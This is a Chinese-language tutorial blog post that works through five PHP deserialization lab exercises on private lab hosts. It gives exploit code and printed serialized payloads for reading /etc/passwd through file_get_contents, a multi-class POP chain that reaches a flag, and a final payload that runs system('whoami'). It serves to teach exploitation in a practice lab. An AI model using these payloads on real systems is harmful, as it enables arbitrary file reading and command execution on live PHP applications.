当前位置:首页>php>PHP反序列化漏洞

PHP反序列化漏洞

  • 2026-10-11 08:11:17
PHP反序列化漏洞

今天来给大家介绍PHP反序列化漏洞,首先我们来看下反序列化基本概念:

反序列化:将序列化后的数据还原为对象,常用于恢复程序状态或网络传输。

1

php实验基础01

目的:掌握php反序列化基础利用方式

实验地址:http://10.64.9.130:4001

实验环境:ubuntu18.04,windows10(这里的实验环境均已配置好实验所需的环境)

实验内容:利用反序列化漏洞配合file_get_contents()函数读取任意文件

实验步骤

1.内容主页

2.代码审计

01.首先定义类Ser

02. 第二行定义公有变量 $name

03.存在魔术方法 __toString

当实例化的类被当作字符串处理时会自动触发__tongString魔术方法

04.在__toString函数中存在file_get_contents()函数,并且参数为$name,可控

05.最后存在unserialize()函数,并且参数可控

3.利用方法

01.实例化类Ser

02.$name赋值所需读取文件名称

03.将实例化类Ser序列化并输出

04.将输出结果通过GET方式输入

<?php classSer{  public $name = "/etc/passwd";}$a = new Ser();echo serialize($a);?>

05.将以上代码保存为1.php

成功获取/etc/passwd文件内容,至此第一个实验结束。

2

php实验基础02

目的:掌握PHP反序列化__wakeup()魔术方法基础方式

实验地址:http://10.64.9.130:4002

实验环境:ubuntu18.04,windows10(这里的实验环境均已配置好实验所需的环境)

实验内容:利用反序列化魔术方法__wakeup()函数配合file_get_contents()函数读取任意文件

实验步骤

1.内容主页

2.代码审计

01.首先定义Ser类

02.第二行定义私有变量 $name

03.在Ser类中,存在魔术方法 __wakeup()函数

该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作

04.在__wakeup()函数中存在file_get_contents()函数,并且参数为$name,可以控制

05.最后存在unserialize()函数,同时参数也可控

3.利用方法

01.编辑1.php文件为以下内容

<?phpclassSer{  private $name = "/etc/passwd";}$a = new Ser();echo serialize($a)."\n"; #php中点号为拼接符号,反斜杠n为换行符echo urlencode(serialize($a))?>

右键左上角1.php,可直接cmd

代码解析:

01.实例化类Ser

02.$name赋值所需读取文件名称

注意:$name是私有属性,在类中私有属性private和protected属性的变量,在序列化时,存在%00*%00保护它,而%00是不可见字符,如下图所示:

如果不经过url编码,直接通过url进行get传参,浏览器会默认识别为空格,即%20因此需要使用urlencode()函数将%00进行url编码,避免%00的缺失,下图为经过url编码后的序列化字符串。

03.将实例化类Ser序列化并输出

04.将输出结果通过GET方式输入

05.输出序列化内容为:

3

反序列化基础实验03

目的:掌握PHP反序列化POP链的基本利用方式

实验地址:http://10.64.9.130:4003

实验环境:ubuntu18.04,windows10(这里的实验环境均已配置好实验所需的环境)

实验内容:通过类A中的__destruct()魔术方法调用类B中的read_file()函数,达到读取任意文件的目标

1.实验主页

实验步骤

2.代码审计

01.首先定义类A,类B

02.在类A中存在公有变量$classname和__destruct()魔术方法,在魔术方法中调用了类B中的read_file()函数

类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制

03.在类B中,定义了私有变量$filename,同时,read_file()函数中存在file_get_contents()函数,并且参数为$filename。

04.最后存在unserialize()函数,同时参数也可控

3.利用方法

01.实例化类A

02.并且将类A中的公有变量$classname赋值为类B的实例化对象

那么,当实例化类A的同时也实例化了类B

03.然后将类B中的私有变量$filename赋值所需读取文件名称

04.将实例化类A序列化并输出

05.最后将输出结果通过GET方式输入

<?phpclassA{  public $classname;}classB{  private $filename="/etc/passwd";}$a = new A();$a -> classname = new B();echo urlencode(serialize($a));?>

保存文件为1.php,并在命令行运行

06.输出序列化内容为:

运行php 1.php

O%3A1%3A%22A%22%3A1%3A%7Bs%3A9%3A%22classname%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A11%3A%22%00B%00filename%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D%7D

4

反序列化基础实验04

目的:掌握PHP反序列化POP链进阶利用方式

实验地址:http://192.168.0.193:4004

实验环境:ubuntu18.04,windows10(这里的实验环境均已配置好实验所需的环境)

实验内容:通过多个类中不同的魔术方法,构造反序列化POP链,获取题目flag。

实验步骤

<?phpclassstart_gg{        public $mod1;         public $mod2;        public function__destruct()        {                $this->mod1->test1();        }}classCall{        public $mod1;         public $mod2;        public functiontest1(){            $this->mod1->test2();    }}classfunct{        public $mod1;        public $mod2;        public function__call($test2,$arr)        {                $s1 = $this->mod1;                $s1();        }}classfunc //1{        public $mod1; //string1        public $mod2;        public function__invoke()        {                $this->mod2 = "字符串拼接".$this->mod1;        } }classstring1 //2{        public $str1; //GetFlag        public $str2;        public function__toString()        {                $this->str1->get_flag();                return"1";        }}classGetFlag //3{        public functionget_flag(){                echo "i,m ok xxxxxxxx";        }}$GetFlag    = new GetFlag();    $func       = new func();$string1    = new string1();$funct      = new funct();$Call       = new Call();$start_gg   = new start_gg();$start_gg->mod1 = $Call;          //pop链起始点$Call->mod1     = $funct;    #类Call中的变量$mod1设置为funct的实例化对象,当调用$mod1中的test2()方法,funct类中并不存在test2()成员方法(函数),就会自动寻找魔术方法__call()并调用它$funct->mod1    = $func;#类funct中的mod1设置为类func的实例化对象,在代码中 $s1 = $this->mod1;$s1<==>$func类的实例化对象,$s1()是调用函数的方法,但现在$s1为类的实例化对象,所有会自动寻找并调用func类中的__invoke魔术方法$func->mod1     = $string1;#现在POP链执行了func中的魔术方法__invoke, $this->mod2 = "字符串拼接".$this->mod1;代码会被执行,其中$mod1被当作字符串处理,可以将$mod1设置为classstring1的实例化对象,会自动搜索并调用类string1中的__string()魔术方法$string1->str1  = $GetFlag;#最后,将类string中的变量$str1设置为类GetFlag的实例化对象,会调用$this->str1->get_flag();获取flagecho serialize($start_gg);

利用方式

1、将上述代码保存至1.php文件,

通过命令行运行,php 1.php

O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

2、通过浏览器传入参数内容,最终结果:

http://10.64.12.92:4004/?string=O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

5

反序列化基础实验05

目的:掌握PHP反序列化POP链进阶利用方式

实验地址:http://192.168.0.193:4005

实验环境:ubuntu18.04,windows10(这里的实验环境均已配置好实验所需的环境)

实验内容:反序列化简单练习题目,获取题目flag。

1.实验主页

实验步骤

1.代码审计

01.首先需要通过get方式传递两个参数un和x满足if条件语句

02.第二行代码定义了类A,并定义了变量$name和$male,以及定义了魔术方法__destruct(),destruct()函数可以作为反序列化的触发点

03.在魔术方法中,将$name赋值给$a,其中关键语句为$a($this->male),$a和$male均可控,那么等同于可以调用任意函数和任意方法。

2.利用方式

01.首先实例化类A,然后将成员变量$name赋值为system,$male赋值为whoami,即调用system(whoami)

<?phpclassA{    public $name;    public $male;}$a = new A();$a -> name = "system";$a -> male = "whoami";echo serialize($a);?>

02.序列化结果

O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:6:"whoami";}

03.最终结果:

通过浏览器post方式进行参数传递

http://10.64.12.92:4005/?un=&x=post内容:un = O:1:"A":2:{s:4:"name";s:6:"system";s:4:"male";s:6:"whoami";}

可以看到whoami命令成功执行

最新文章

随机文章